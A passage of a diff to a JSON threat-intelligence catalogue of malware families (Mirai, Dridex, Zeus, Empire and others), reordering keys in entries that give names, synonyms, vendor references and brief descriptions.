- "description": "This whitepaper details a malicious program we identify as NanHaiShu. Based on our analysis, the threat actor behind this malware targets government and private-sector organizations.",
- "value": "NanHaiShu",
- "uuid": "7abd6950-7a07-4d9e-ade1-62414fa50619"
+ "uuid": "7abd6950-7a07-4d9e-ade1-62414fa50619",
+ "value": "NanHaiShu"
},
{
+ "description": "Umbreon (sharing the same name as the Pokémon) targets Linux systems, including systems running both Intel and ARM processors, expanding the scope of this threat to include embedded devices as well.",
"meta": {
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/"
]
},
- "description": "Umbreon (sharing the same name as the Pokémon) targets Linux systems, including systems running both Intel and ARM processors, expanding the scope of this threat to include embedded devices as well.",
- "value": "Umbreon",
- "uuid": "2a18f5dd-40fc-444b-a7c6-85f94b3eee13"
+ "uuid": "2a18f5dd-40fc-444b-a7c6-85f94b3eee13",
+ "value": "Umbreon"
},
{
+ "description": "Odinaff is typically deployed in the first stage of an attack, to gain a foothold onto the network, providing a persistent presence and the ability to install additional tools onto the target network. These additional tools bear the hallmarks of a sophisticated attacker which has plagued the financial industry since at least 2013–Carbanak. This new wave of attacks has also used some infrastructure that has previously been used in Carbanak campaigns.",
"meta": {
"refs": [
"https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks"
]
},
- "description": "Odinaff is typically deployed in the first stage of an attack, to gain a foothold onto the network, providing a persistent presence and the ability to install additional tools onto the target network. These additional tools bear the hallmarks of a sophisticated attacker which has plagued the financial industry since at least 2013–Carbanak. This new wave of attacks has also used some infrastructure that has previously been used in Carbanak campaigns.",
- "value": "Odinaff",
- "uuid": "e2fa7aea-fb33-4efc-b61b-ccae71b32e7d"
+ "uuid": "e2fa7aea-fb33-4efc-b61b-ccae71b32e7d",
+ "value": "Odinaff"
},
{
+ "description": "Unit 42 has observed a new version of Hworm (or Houdini) being used within multiple attacks. This blog outlines technical details of this new Hworm version and documents an attack campaign making use of the backdoor. Of the samples used in this attack, the first we observed were June 2016, while as-of publication we were still seeing attacks as recently as mid-October, suggesting that this is likely an active, ongoing campaign.",
"meta": {
- "synonyms": [
- "Houdini"
- ],
"refs": [
"http://researchcenter.paloaltonetworks.com/2016/10/unit42-houdinis-magic-reappearance/"
+ ],
+ "synonyms": [
+ "Houdini"
]
},
- "description": "Unit 42 has observed a new version of Hworm (or Houdini) being used within multiple attacks. This blog outlines technical details of this new Hworm version and documents an attack campaign making use of the backdoor. Of the samples used in this attack, the first we observed were June 2016, while as-of publication we were still seeing attacks as recently as mid-October, suggesting that this is likely an active, ongoing campaign.",
- "value": "Hworm",
- "uuid": "e5f7bb36-c982-4f5a-9b29-ab73d2c5f70e"
+ "uuid": "e5f7bb36-c982-4f5a-9b29-ab73d2c5f70e",
+ "value": "Hworm"
},
{
+ "description": "Backdoor.Dripion was custom developed, deployed in a highly targeted fashion, and used command and control servers disguised as antivirus company websites.",
"meta": {
- "synonyms": [
- "Dripion"
- ],
"refs": [
"http://www.symantec.com/connect/blogs/taiwan-targeted-new-cyberespionage-back-door-trojan"
+ ],
+ "synonyms": [
+ "Dripion"
]
},
- "description": "Backdoor.Dripion was custom developed, deployed in a highly targeted fashion, and used command and control servers disguised as antivirus company websites.",
- "value": "Backdoor.Dripion",
- "uuid": "9dec36a3-b7df-477d-8f38-90aed47ca7cf"
+ "uuid": "9dec36a3-b7df-477d-8f38-90aed47ca7cf",
+ "value": "Backdoor.Dripion"
},
{
+ "description": "Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. A significant amount of additional functionality can be provided through downloadable plugins, including such things as remote control options and shell command execution.",
"meta": {
+ "refs": [
+ "https://securelist.com/blog/research/73660/adwind-faq/"
+ ],
"synonyms": [
"AlienSpy",
"Frutas",
@@ -1479,14 +1492,10 @@
"JSocket",
"jRat",
"Backdoor:Java/Adwind"
- ],
- "refs": [
- "https://securelist.com/blog/research/73660/adwind-faq/"
]
},
- "description": "Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. A significant amount of additional functionality can be provided through downloadable plugins, including such things as remote control options and shell command execution.",
- "value": "Adwind",
- "uuid": "ab4694d6-7043-41f2-b328-d93bec9c1b22"
+ "uuid": "ab4694d6-7043-41f2-b328-d93bec9c1b22",
+ "value": "Adwind"
},
{
"uuid": "066f8ad3-0c99-43eb-990c-8fae2c232f62",
@@ -1497,17 +1506,17 @@
"value": "Cromptui"
},
{
+ "description": "Dridex is a strain of banking malware that leverages macros in Microsoft Office to infect systems. Once a computer has been infected, Dridex attackers can steal banking credentials and other personal information on the system to gain access to the financial records of a user.",
"meta": {
- "synonyms": [
- "Cridex"
- ],
"refs": [
"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dridex-financial-trojan.pdf"
+ ],
+ "synonyms": [
+ "Cridex"
]
},
- "description": "Dridex is a strain of banking malware that leverages macros in Microsoft Office to infect systems. Once a computer has been infected, Dridex attackers can steal banking credentials and other personal information on the system to gain access to the financial records of a user.",
- "value": "Dridex",
- "uuid": "276c2c2e-09da-44cf-a3f7-806b3feb41da"
+ "uuid": "276c2c2e-09da-44cf-a3f7-806b3feb41da",
+ "value": "Dridex"
},
{
"uuid": "652b5242-b790-4695-ad0e-b79bbf78f351",
@@ -1519,26 +1528,26 @@
},
{
"meta": {
- "synonyms": [
- "Andromeda"
- ],
"refs": [
"https://blog.gdatasoftware.com/2015/03/24274-the-andromeda-gamarue-botnet-is-on-the-rise-again"
+ ],
+ "synonyms": [
+ "Andromeda"
]
},
"uuid": "b9f00c61-6cd1-4112-a632-c8d3837a7ddd",
"value": "Gamarue"
},
{
+ "description": "The Necurs botnet is a distributor of many pieces of malware, most notably Locky.",
"meta": {
"refs": [
"https://en.wikipedia.org/wiki/Necurs_botnet",
"https://www.bleepingcomputer.com/news/security/worlds-largest-spam-botnet-finds-a-new-way-to-avoid-detection-for-now/"
]
},
- "description": "The Necurs botnet is a distributor of many pieces of malware, most notably Locky.",
- "value": "Necurs",
- "uuid": "97d34770-44cc-4ecb-bdce-ba11581c0e2a"
+ "uuid": "97d34770-44cc-4ecb-bdce-ba11581c0e2a",
+ "value": "Necurs"
},
{
"uuid": "af0ea2b8-97ae-4ec1-a2c5-8f5dd0c9537b",
@@ -1546,13 +1555,13 @@
},
{
"meta": {
+ "refs": [
+ "https://en.wikipedia.org/wiki/Akbot"
+ ],
"synonyms": [
"Qbot",
"Qakbot",
"PinkSlipBot"
- ],
- "refs": [
- "https://en.wikipedia.org/wiki/Akbot"
]
},
"uuid": "ac2ff27d-a7cb-46fe-ae32-cfe571dc614d",
@@ -1560,82 +1569,83 @@
},
{
"description": "Upatre is a Trojan downloader that is used to set up other threats on the victim's PC. Upatre has been used recently in several high profile Trojan attacks involving the Gameover Trojan. ",
- "value": "Upatre",
- "uuid": "99d9110d-85a4-4819-9f85-05e4b73aa5f3"
+ "uuid": "99d9110d-85a4-4819-9f85-05e4b73aa5f3",
+ "value": "Upatre"
},
{
+ "description": "Vawtrak is an information stealing malware family that is primarily used to gain unauthorised access to bank accounts through online banking websites.",
"meta": {
"refs": [
"https://www.sophos.com/medialibrary/PDFs/technical%20papers/sophos-vawtrak-international-crimeware-as-a-service-tpna.pdf"
]
},
- "description": "Vawtrak is an information stealing malware family that is primarily used to gain unauthorised access to bank accounts through online banking websites.",
- "value": "Vawtrak",
- "uuid": "e95dd1ba-7485-4c02-bf2e-14beedbcf053"
+ "uuid": "e95dd1ba-7485-4c02-bf2e-14beedbcf053",
+ "value": "Vawtrak"
},
{
+ "description": "Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework",
"meta": {
"refs": [
"https://github.com/adaptivethreat/Empire"
]
},
- "description": "Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework",
- "value": "Empire",
- "uuid": "525ce93a-76a1-441a-9c45-0eac64d0ed12"
+ "uuid": "525ce93a-76a1-441a-9c45-0eac64d0ed12",
+ "value": "Empire"
},
{
+ "description": "Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive. ",
"meta": {
"refs": [
"https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf"
]
},
- "description": "Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive. ",
- "value": "Explosive",
- "uuid": "0155c3b1-8c7c-4176-aeda-68678dd99992"
+ "uuid": "0155c3b1-8c7c-4176-aeda-68678dd99992",
+ "value": "Explosive"
},
{
+ "description": "The actors used a new version of “KeyBoy,” a custom backdoor first disclosed by researchers at Rapid7 in June 2013. Their work outlined the capabilities of the backdoor, and exposed the protocols and algorithms used to hide the network communication and configuration data",
"meta": {
"refs": [
"https://citizenlab.org/2016/11/parliament-keyboy/",
"https://community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india"
]
},
- "description": "The actors used a new version of “KeyBoy,” a custom backdoor first disclosed by researchers at Rapid7 in June 2013. Their work outlined the capabilities of the backdoor, and exposed the protocols and algorithms used to hide the network communication and configuration data",
- "value": "KeyBoy",
- "uuid": "74167065-90b3-4c29-807a-79b6f098e45b"
+ "uuid": "74167065-90b3-4c29-807a-79b6f098e45b",
+ "value": "KeyBoy"
},
{
+ "description": "The attacks in this case are associated with a campaign called Tropic Trooper, which has been active since at least 2011 and is known for heavily targeting Taiwan. One of the attacks used their known Yahoyah malware...",
"meta": {
- "synonyms": [
- "W32/Seeav"
- ],
"refs": [
"http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"
+ ],
+ "synonyms": [
+ "W32/Seeav"
]
},
- "description": "The attacks in this case are associated with a campaign called Tropic Trooper, which has been active since at least 2011 and is known for heavily targeting Taiwan. One of the attacks used their known Yahoyah malware...",
- "value": "Yahoyah",
- "uuid": "2a16a1d4-a098-4f17-80f3-3cfc6c60b539"
+ "uuid": "2a16a1d4-a098-4f17-80f3-3cfc6c60b539",
+ "value": "Yahoyah"
},
{
"description": "Delphi RAT used by Sofacy.",
- "value": "Tartine",
- "uuid": "67f0b6cb-a484-4b8c-aacb-88a7238568b0"
+ "uuid": "67f0b6cb-a484-4b8c-aacb-88a7238568b0",
+ "value": "Tartine"
},
{
+ "description": "Mirai (Japanese for \"the future\") is malware that turns computer systems running Linux into remotely controlled \"bots\", that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as remote cameras and home routers. The Mirai botnet has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs's web site, an attack on French web host OVH and the October 2016 Dyn cyberattack.",
"meta": {
- "synonyms": [
- "Linux/Mirai"
- ],
"refs": [
"https://en.wikipedia.org/wiki/Mirai_(malware)"
+ ],
+ "synonyms": [
+ "Linux/Mirai"
]
},
- "description": "Mirai (Japanese for \"the future\") is malware that turns computer systems running Linux into remotely controlled \"bots\", that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as remote cameras and home routers. The Mirai botnet has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs's web site, an attack on French web host OVH and the October 2016 Dyn cyberattack.",
- "value": "Mirai",
- "uuid": "dcbf1aaa-1fdd-4bfc-a35e-145ffdfb5ac5"
+ "uuid": "dcbf1aaa-1fdd-4bfc-a35e-145ffdfb5ac5",
+ "value": "Mirai"
},
{
+ "description": "IoT malware based on Mirai but slightly improved.",
"meta": {
"refs": [
"https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7"
@@ -1644,36 +1654,35 @@
"PureMasuta"
]
},
- "description": "IoT malware based on Mirai but slightly improved.",
- "value": "Masuta",
- "uuid": "1d4dec2c-915a-4fef-ba7a-633421bd0848"
+ "uuid": "1d4dec2c-915a-4fef-ba7a-633421bd0848",
+ "value": "Masuta"
},
{
"uuid": "55f8fb60-6339-4bc2-baa0-41e698e11f95",
"value": "BASHLITE"
},
{
+ "description": "BlackEnergy is a trojan which has undergone significant functional changes since it was first publicly analysed by Arbor Networks in 2007. It has evolved from a relatively simple DDoS trojan into a relatively sophisticated piece of modern malware with a modular architecture, making it a suitable tool for sending spam and for online bank fraud, as well as for targeted attacks. BlackEnergy version 2, which featured rootkit techniques, was documented by SecureWorks in 2010. The targeted attacks recently discovered are proof that the trojan is still alive and kicking in 2014. We provide a technical analysis of the BlackEnergy family, focusing on novel functionality and the differences introduced by new lite variants. We describe the most notable aspects of the malware, including its techniques for bypassing UAC, defeating the signed driver requirement in Windows and a selection of BlackEnergy2 plug-ins used for parasitic file infections, network discovery and remote code execution and data collection.",
"meta": {
"refs": [
"https://www.virusbulletin.com/conference/vb2014/abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland/"
]
},
- "description": "BlackEnergy is a trojan which has undergone significant functional changes since it was first publicly analysed by Arbor Networks in 2007. It has evolved from a relatively simple DDoS trojan into a relatively sophisticated piece of modern malware with a modular architecture, making it a suitable tool for sending spam and for online bank fraud, as well as for targeted attacks. BlackEnergy version 2, which featured rootkit techniques, was documented by SecureWorks in 2010. The targeted attacks recently discovered are proof that the trojan is still alive and kicking in 2014. We provide a technical analysis of the BlackEnergy family, focusing on novel functionality and the differences introduced by new lite variants. We describe the most notable aspects of the malware, including its techniques for bypassing UAC, defeating the signed driver requirement in Windows and a selection of BlackEnergy2 plug-ins used for parasitic file infections, network discovery and remote code execution and data collection.",
- "value": "BlackEnergy",
- "uuid": "5a22cad7-65fa-4b7a-a7aa-7915a6101efa"
+ "uuid": "5a22cad7-65fa-4b7a-a7aa-7915a6101efa",
+ "value": "BlackEnergy"
},
{
+ "description": "Trojan.Seaduke is a Trojan horse that opens a back door on the compromised computer. It may also download potentially malicious files.",
"meta": {
- "synonyms": [
- "Seaduke"
- ],
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-031915-4935-99"
+ ],
+ "synonyms": [
+ "Seaduke"
]
},
- "description": "Trojan.Seaduke is a Trojan horse that opens a back door on the compromised computer. It may also download potentially malicious files.",
- "value": "Trojan.Seaduke",
- "uuid": "3449215f-2650-48bb-a4fb-6549654cbccc"
+ "uuid": "3449215f-2650-48bb-a4fb-6549654cbccc",
+ "value": "Trojan.Seaduke"
},
{
"uuid": "2b6b35fb-2ed4-46ce-b603-62ca2b9b2812",
@@ -1685,28 +1694,29 @@
},
{
"meta": {
- "synonyms": [
- "Carberplike"
- ],
"refs": [
"https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/",
"https://twitter.com/Timo_Steffens/status/814781584536719360"
+ ],
+ "synonyms": [
+ "Carberplike"
]
},
"uuid": "ab5c4362-c369-4c78-985d-04ba1226ea32",
"value": "DownRage"
},
{
+ "description": "GeminiDuke is malware that was used by APT29 from 2009 to 2012.",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0049"
]
},
- "description": "GeminiDuke is malware that was used by APT29 from 2009 to 2012.",
- "value": "GeminiDuke",
- "uuid": "6a28a648-30c0-4d1d-bd67-81a8dc6486ba"
+ "uuid": "6a28a648-30c0-4d1d-bd67-81a8dc6486ba",
+ "value": "GeminiDuke"
},
{
+ "description": "Trojan.Zbot, also called Zeus, is a Trojan horse that attempts to steal confidential information from the compromised computer. It may also download configuration files and updates from the Internet. The Trojan is created using a Trojan-building toolkit.",
"meta": {
"refs": [
"https://en.wikipedia.org/wiki/Zeus_(malware)",
@@ -1717,34 +1727,34 @@
"Zbot"
]
},
- "description": "Trojan.Zbot, also called Zeus, is a Trojan horse that attempts to steal confidential information from the compromised computer. It may also download configuration files and updates from the Internet. The Trojan is created using a Trojan-building toolkit.",
- "value": "Zeus",
- "uuid": "0ce448de-c2bb-4c6e-9ad7-c4030f02b4d7"
+ "uuid": "0ce448de-c2bb-4c6e-9ad7-c4030f02b4d7",
+ "value": "Zeus"
},
{
+ "description": "Shifu is a Banking Trojan first discovered in 2015. Shifu is based on the Shiz source code which incorporated techniques used by Zeus. Attackers use Shifu to steal credentials for online banking websites around the world, starting in Russia but later including the UK, Italy, and others.",
"meta": {
- "refs": [
- "http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/"
- ],
"derivated_from": [
"Shiz"
+ ],
+ "refs": [
+ "http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/"
]
},
- "description": "Shifu is a Banking Trojan first discovered in 2015. Shifu is based on the Shiz source code which incorporated techniques used by Zeus. Attackers use Shifu to steal credentials for online banking websites around the world, starting in Russia but later including the UK, Italy, and others.",
- "value": "Shifu",
- "uuid": "67d712c8-d254-4820-83fa-9a892b87923b"
+ "uuid": "67d712c8-d254-4820-83fa-9a892b87923b",
+ "value": "Shifu"
},
{
+ "description": "The new variant of the Shiz Trojan malware targets mission-critical enterprise resource planning (ERP) applications — particularly SAP users. ",
"meta": {
"refs": [
"https://securityintelligence.com/tag/shiz-trojan-malware/"
]
},
- "description": "The new variant of the Shiz Trojan malware targets mission-critical enterprise resource planning (ERP) applications — particularly SAP users. ",
- "value": "Shiz",
- "uuid": "e6085ce0-af6d-41f7-8bcb-7f2eed246941"
+ "uuid": "e6085ce0-af6d-41f7-8bcb-7f2eed246941",
+ "value": "Shiz"
},
{
+ "description": "Also known as “BaneChant”, MM Core is a file-less APT which is executed in memory by a downloader component. It was first reported in 2013 under the version number “2.0-LNK” where it used the tag “BaneChant” in its command-and-control (C2) network request. A second version “2.1-LNK” with the network tag “StrangeLove” was discovered shortly after.",
"meta": {
"refs": [
"https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose"
@@ -1757,87 +1767,87 @@
"StrangeLove"
]
},
- "description": "Also known as “BaneChant”, MM Core is a file-less APT which is executed in memory by a downloader component. It was first reported in 2013 under the version number “2.0-LNK” where it used the tag “BaneChant” in its command-and-control (C2) network request. A second version “2.1-LNK” with the network tag “StrangeLove” was discovered shortly after.",
- "value": "MM Core",
- "uuid": "74bd8c09-73d5-4ad8-ab1f-e94a4853c936"
+ "uuid": "74bd8c09-73d5-4ad8-ab1f-e94a4853c936",
+ "value": "MM Core"
},
{
+ "description": "Shamoon,[a] also known as Disttrack, is a modular computer virus discovered by Seculert[1] in 2012, targeting recent NT kernel-based versions of Microsoft Windows. The virus has been used for cyber espionage in the energy sector.[2][3][4] Its discovery was announced on 16 August 2012 by Symantec,[3] Kaspersky Lab,[5] and Seculert.[6] Similarities have been highlighted by Kaspersky Lab and Seculert between Shamoon and the Flame malware.[5][6]",
"meta": {
"refs": [
"https://en.wikipedia.org/wiki/Shamoon"
]
},
- "description": "Shamoon,[a] also known as Disttrack, is a modular computer virus discovered by Seculert[1] in 2012, targeting recent NT kernel-based versions of Microsoft Windows. The virus has been used for cyber espionage in the energy sector.[2][3][4] Its discovery was announced on 16 August 2012 by Symantec,[3] Kaspersky Lab,[5] and Seculert.[6] Similarities have been highlighted by Kaspersky Lab and Seculert between Shamoon and the Flame malware.[5][6]",
- "value": "Shamoon",
- "uuid": "776b1849-8d5b-4762-8ba1-cbbaddb4ce3a"
+ "uuid": "776b1849-8d5b-4762-8ba1-cbbaddb4ce3a",
+ "value": "Shamoon"
},
{
+ "description": "According to MalwareHunterTeam and other researchers that have looked at the malware's source code, GhostAdmin seems to be a reworked version of CrimeScene, another botnet malware family that was active around 3-4 years ago.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/new-ghostadmin-malware-used-for-data-theft-and-exfiltration/"
]
},
- "description": "According to MalwareHunterTeam and other researchers that have looked at the malware's source code, GhostAdmin seems to be a reworked version of CrimeScene, another botnet malware family that was active around 3-4 years ago.",
- "value": "GhostAdmin",
- "uuid": "a68f1b43-c742-4f90-974d-2e74ec703e44"
+ "uuid": "a68f1b43-c742-4f90-974d-2e74ec703e44",
+ "value": "GhostAdmin"
},
{
+ "description": "Two Italians referred to as the “Occhionero brothers” have been arrested and accused of using malware and a carefully-prepared spear-phishing scheme to spy on high-profile politicians and businessmen. This case has been called “EyePyramid”, which we first discussed last week. (Conspiracy theories aside, the name came from a domain name and directory path that was found during the research.)",
"meta": {
"country": "IT",
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-inner-workings-eyepyramid/"
]
},
- "description": "Two Italians referred to as the “Occhionero brothers” have been arrested and accused of using malware and a carefully-prepared spear-phishing scheme to spy on high-profile politicians and businessmen. This case has been called “EyePyramid”, which we first discussed last week. (Conspiracy theories aside, the name came from a domain name and directory path that was found during the research.)",
- "value": "EyePyramid Malware",
- "uuid": "52c2499f-c74f-4bab-bad2-c278e798654c"
+ "uuid": "52c2499f-c74f-4bab-bad2-c278e798654c",
+ "value": "EyePyramid Malware"
},
{
+ "description": "LuminosityLink is a malware family costing $40 that purports to be a system administration utility",
"meta": {
"refs": [
"http://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/"
]
},
- "description": "LuminosityLink is a malware family costing $40 that purports to be a system administration utility",
- "value": "LuminosityLink",
- "uuid": "f586d3e4-39fc-489a-808b-03f590bfe092"
+ "uuid": "f586d3e4-39fc-489a-808b-03f590bfe092",
+ "value": "LuminosityLink"
},
{
+ "description": "Floki Bot, described recently by Dr. Peter Stephenson from SC Magazine, is yet another bot based on the leaked Zeus code. However, the author came up with various custom modifications that makes it more interesting.",
"meta": {
- "synonyms": [
- "Floki Bot",
- "Floki"
- ],
"refs": [
"https://www.arbornetworks.com/blog/asert/flokibot-flock-bots/",
"https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/"
+ ],
+ "synonyms": [
+ "Floki Bot",
+ "Floki"
]
},
- "description": "Floki Bot, described recently by Dr. Peter Stephenson from SC Magazine, is yet another bot based on the leaked Zeus code. However, the author came up with various custom modifications that makes it more interesting.",
- "value": "Flokibot",
- "uuid": "8034978b-3a32-4662-b1bf-b525e59e469f"
+ "uuid": "8034978b-3a32-4662-b1bf-b525e59e469f",
+ "value": "Flokibot"
},
{
+ "description": "Most recently, we have observed the same group targeting military and aerospace interests in Russia and Belarus. Since the summer of 2016, this group began using a new downloader known as ZeroT to install the PlugX remote access Trojan (RAT) and added Microsoft Compiled HTML Help (.chm) as one of the initial droppers delivered in spear-phishing emails.",
"meta": {
"refs": [
"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
]
},
- "description": "Most recently, we have observed the same group targeting military and aerospace interests in Russia and Belarus. Since the summer of 2016, this group began using a new downloader known as ZeroT to install the PlugX remote access Trojan (RAT) and added Microsoft Compiled HTML Help (.chm) as one of the initial droppers delivered in spear-phishing emails.",
- "value": "ZeroT",
- "uuid": "ff00fa92-b32e-46b6-88ca-98357ebe3f54"
+ "uuid": "ff00fa92-b32e-46b6-88ca-98357ebe3f54",
+ "value": "ZeroT"
},
{
+ "description": "Cylance dubbed this family of malware StreamEx, based upon a common exported function used across all samples ‘stream’, combined with the dropper functionality to append ‘ex’ to the DLL file name. The StreamEx family has the ability to access and modify the user’s file system, modify the registry, create system services, enumerate process and system information, enumerate network resources and drive types, scan for security tools such as firewall products and antivirus products, change browser security settings, and remotely execute commands. The malware documented in this post was predominantly 64-bit, however, there are 32-bit versions of the malware in the wild. ",
"meta": {
"refs": [
"https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
]
},
- "description": "Cylance dubbed this family of malware StreamEx, based upon a common exported function used across all samples ‘stream’, combined with the dropper functionality to append ‘ex’ to the DLL file name. The StreamEx family has the ability to access and modify the user’s file system, modify the registry, create system services, enumerate process and system information, enumerate network resources and drive types, scan for security tools such as firewall products and antivirus products, change browser security settings, and remotely execute commands. The malware documented in this post was predominantly 64-bit, however, there are 32-bit versions of the malware in the wild. ",
- "value": "StreamEx",
- "uuid": "9991ace8-1a62-498c-a9ef-19d474deb505"
+ "uuid": "9991ace8-1a62-498c-a9ef-19d474deb505",
+ "value": "StreamEx"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -1846,11 +1856,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "adzok",
- "uuid": "d08201b8-9774-41a1-abdb-c7f3828139b0"
+ "uuid": "d08201b8-9774-41a1-abdb-c7f3828139b0",
+ "value": "adzok"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -1859,11 +1869,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "albertino",
- "uuid": "18c31de5-41b3-4a92-a6ee-23b74cc2797d"
+ "uuid": "18c31de5-41b3-4a92-a6ee-23b74cc2797d",
+ "value": "albertino"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -1872,11 +1882,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "arcom",
- "uuid": "00dcba51-126f-4758-8273-9770ddf9031c"
+ "uuid": "00dcba51-126f-4758-8273-9770ddf9031c",
+ "value": "arcom"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -1885,11 +1895,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "blacknix",
- "uuid": "0a5d5825-0ab9-48ff-a5d9-b6b131b65833"
+ "uuid": "0a5d5825-0ab9-48ff-a5d9-b6b131b65833",
+ "value": "blacknix"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -1898,11 +1908,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "bluebanana",
- "uuid": "df7deaa3-2a2c-4460-8674-20ec24e89fba"
+ "uuid": "df7deaa3-2a2c-4460-8674-20ec24e89fba",
+ "value": "bluebanana"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -1911,11 +1921,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "bozok",
- "uuid": "cff2e174-52b8-4304-903a-012f97d70b7c"
+ "uuid": "cff2e174-52b8-4304-903a-012f97d70b7c",
+ "value": "bozok"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -1924,11 +1934,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "clientmesh",
- "uuid": "26785174-0b89-4cec-9ed0-5a72a0ff4c49"
+ "uuid": "26785174-0b89-4cec-9ed0-5a72a0ff4c49",
+ "value": "clientmesh"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -1937,11 +1947,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "cybergate",
- "uuid": "f6e6540e-c21f-4202-ac46-185e735215db"
+ "uuid": "f6e6540e-c21f-4202-ac46-185e735215db",
+ "value": "cybergate"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -1950,11 +1960,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "darkcomet",
- "uuid": "15949ecb-1f2b-4f59-9cf7-5751694e8fba"
+ "uuid": "15949ecb-1f2b-4f59-9cf7-5751694e8fba",
+ "value": "darkcomet"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -1963,11 +1973,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "darkrat",
- "uuid": "c9e6e42a-65c0-418e-ab77-09bcdb1214a3"
+ "uuid": "c9e6e42a-65c0-418e-ab77-09bcdb1214a3",
+ "value": "darkrat"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -1976,11 +1986,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "gh0st",
- "uuid": "1b1ae63f-bcee-4aba-8994-6c60cee5e16f"
+ "uuid": "1b1ae63f-bcee-4aba-8994-6c60cee5e16f",
+ "value": "gh0st"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -1989,11 +1999,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "greame",
- "uuid": "43e400b3-918b-4a2c-9a69-7166c81a835b"
+ "uuid": "43e400b3-918b-4a2c-9a69-7166c81a835b",
+ "value": "greame"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2002,11 +2012,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "hawkeye",
